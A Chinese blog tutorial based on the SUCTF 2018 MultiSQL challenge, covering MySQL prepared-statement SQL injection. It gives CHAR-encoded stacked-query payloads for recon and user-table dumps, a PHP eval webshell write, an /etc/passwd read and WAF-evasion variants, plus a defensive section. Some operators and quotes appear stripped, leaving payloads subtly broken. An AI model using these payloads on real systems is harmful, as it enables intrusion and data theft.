从SUCTF 2018 MultiSQL题,聊聊MySQL预处理语句在SQL注入里的实战用法

张开发
2026/4/17 3:10:27 15 分钟阅读

分享文章

从SUCTF 2018 MultiSQL题,聊聊MySQL预处理语句在SQL注入里的实战用法
MySQL预处理语句在SQL注入中的高阶应用剖析当你在渗透测试中遇到union、select等关键词被严格过滤时是否想过数据库自身的功能可能成为突破点MySQL的预处理语句机制就是这样一个看似防御实则可能被利用的双刃剑。让我们暂时抛开常见的联合查询和报错注入深入探讨PREPARE、EXECUTE这套机制在真实攻防中的精妙应用。1. 预处理语句机制解析MySQL预处理语句本质上是一种先编译后执行的机制主要包含三个核心操作PREPARE stmt_name FROM preparable_stmt; EXECUTE stmt_name [USING var1, var2, ...]; DEALLOCATE PREPARE stmt_name;这种设计原本是为了提升SQL执行效率和安全性的双重目的。当相同结构的SQL需要反复执行时预处理可以避免重复解析的开销。但有趣的是这个特性在某些特定条件下会展现出完全相反的效果。1.1 预处理与普通查询的本质差异普通SQL查询的执行流程是线性的客户端发送完整SQL语句服务器解析并优化执行计划执行并返回结果而预处理语句的流程则是分阶段的准备阶段发送SQL模板含占位符参数绑定传递具体参数值执行阶段组合执行这种分离的特性使得预处理语句具有几个关键特征SQL结构在准备阶段就已固定参数值在执行阶段才被代入可以避免部分SQL注入当正确使用时2. 预处理在注入攻击中的利用条件不是所有场景都能利用预处理进行注入攻击需要同时满足几个特定条件2.1 关键前提堆叠注入支持预处理语句要想用于注入攻击首要条件是目标系统允许堆叠查询(Stacked Queries)。这意味着应用程序需要支持在一次请求中执行多条SQL语句通常以分号分隔。检查方法很简单?id1; select 1; --如果返回正常说明可能存在堆叠注入漏洞。值得注意的是PHPMySQL的常见组合中mysqli_multi_query()函数支持这种操作而常规的mysql_query()或PDO默认配置则不支持。2.2 字符过滤的绕过策略当关键字符被过滤时预处理语句配合编码转换可以形成有效绕过。常见的技术组合包括CHAR()函数编码将完整SQL语句转换为ASCII码序列十六进制编码使用0x前缀的十六进制表示法CONCAT()拼接动态构造被过滤的关键词例如要执行select version()但select被过滤时SET sql CONCAT(CHAR(115,101,108,101,99,116), version()); PREPARE stmt FROM sql; EXECUTE stmt;2.3 权限要求与限制利用预处理进行注入攻击还需要考虑数据库用户的权限等级FILE权限如果要进行文件读写操作超级用户权限某些特殊操作可能需要secure_file_priv设置影响文件导出路径可以通过以下查询检查当前权限SELECT user(), file_priv FROM mysql.user WHERE user SUBSTRING_INDEX(CURRENT_USER(), , 1); SHOW VARIABLES LIKE secure_file_priv;3. 预处理注入的实战手法让我们通过一个完整的攻击链来演示预处理注入的实际应用。假设目标过滤了union、select、and、or等关键词但支持堆叠注入。3.1 信息收集阶段首先需要获取数据库基本信息可以通过预处理绕过关键词过滤id1; SET sqlCHAR(115,101,108,101,99,116,32,100,97,116,97,98,97,115,101,40,41); PREPARE stmt FROM sql; EXECUTE stmt; --这段payload实际上执行的是select database()通过CHAR编码绕过了对select的直接检测。3.2 数据提取技术当需要从特定表中提取数据时可以构造动态查询id1; SET table CHAR(117,115,101,114,115); -- users的ASCII编码 SET column CHAR(105,100,44,117,115,101,114,110,97,109,101,44,112,97,115,115,119,111,114,100); -- id,username,password SET sql CONCAT(CHAR(115,101,108,101,99,116), , column, from , table); PREPARE stmt FROM sql; EXECUTE stmt; --3.3 文件系统操作在具备足够权限的情况下预处理语句可以用于文件操作3.3.1 写入WebShellid1; SET shell CHAR(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62); SET path CHAR(47,118,97,114,47,119,119,119,47,104,116,109,108,47,115,104,101,108,108,46,112,104,112); SET sql CONCAT(CHAR(115,101,108,101,99,116), , shell, into outfile , CHAR(39), path, CHAR(39)); PREPARE stmt FROM sql; EXECUTE stmt; --3.3.2 读取系统文件id1; SET file CHAR(47,101,116,99,47,112,97,115,115,119,100); -- /etc/passwd SET sql CONCAT(CHAR(108,111,97,100,95,102,105,108,101), (, CHAR(39), file, CHAR(41)); PREPARE stmt FROM sql; EXECUTE stmt; --4. 防御视角下的预处理语句有趣的是预处理语句本身也是防御SQL注入的重要手段。正确使用时它能够有效区分代码和数据防止注入攻击。4.1 安全使用预处理的正确姿势开发者应该这样使用预处理语句$stmt $db-prepare(SELECT * FROM users WHERE id ?); $stmt-bind_param(i, $input_id); $stmt-execute();这种参数化查询确保了用户输入始终被当作数据处理不会混入SQL语法。4.2 攻击与防御的微妙平衡预处理语句在攻防中的双重角色展示了安全领域的一个核心原理任何技术特性都可能被正反两用。关键在于特性攻击利用防御应用动态SQL构造拼接恶意代码禁止使用参数化查询绕过过滤防止注入编码转换绕过WAF输入净化4.3 进阶防御策略针对预处理注入攻击可以采取以下防御措施禁用堆叠查询使用PDO时设置PDO::ATTR_EMULATE_PREPARES为false避免使用mysqli_multi_query()深度过滤$input preg_replace(/[\x00-\x1F\x7F]/, , $input); // 过滤控制字符 $input preg_replace(/char\s*\(/i, , $input); // 过滤char(函数最小权限原则数据库用户只授予必要权限禁用FILE权限除非绝对需要5. 绕过现代WAF的进阶技巧随着WAF技术的进步简单的CHAR编码可能被检测到。以下是几种更隐蔽的绕过方式5.1 动态字符串构造SET a CONCAT(sel,ect); SET b CONCAT(ver,sion()); SET sql CONCAT(a, ,b); PREPARE stmt FROM sql; EXECUTE stmt;5.2 利用注释分割SET/*注释*/sql0x73656c6563742076657273696f6e2829; -- 十六进制编码 PREPARE/*注释*/stmt/*注释*/FROM/*注释*/sql; EXECUTE/*注释*/stmt;5.3 非常规函数组合SET sql REVERSE()(noisrev tceles); SET sql CONCAT(SUBSTRING(sql,11,6), SUBSTRING(sql,1,10)); PREPARE stmt FROM sql; EXECUTE stmt;这种技术利用了字符串操作函数动态构造SQL语句大幅提高了检测难度。6. 真实环境中的限制与变通即使在支持堆叠注入的环境中预处理注入也会面临一些实际限制长度限制某些场景下SQL语句长度受限解决方案分块执行使用多个变量存储字符集问题非常见字符可能导致编码错误解决方案使用HEX编码替代CHAR错误处理预处理阶段的语法错误可能导致整个查询失败解决方案先在本地测试完整语句一个实用的调试技巧是先在MySQL客户端中构建完整语句确认无误后再转换为注入payload-- 测试阶段 SET sql select version(); PREPARE stmt FROM sql; EXECUTE stmt; -- 转换为注入payload SET sql CHAR(115,101,108,101,99,116,32,118,101,114,115,105,111,110,40,41);预处理注入技术展示了安全研究的深度和创造性。理解这些技术不是为了非法利用而是为了构建更坚固的防御体系。在实际渗透测试中每个技术点都需要获得明确授权后才能使用。

更多文章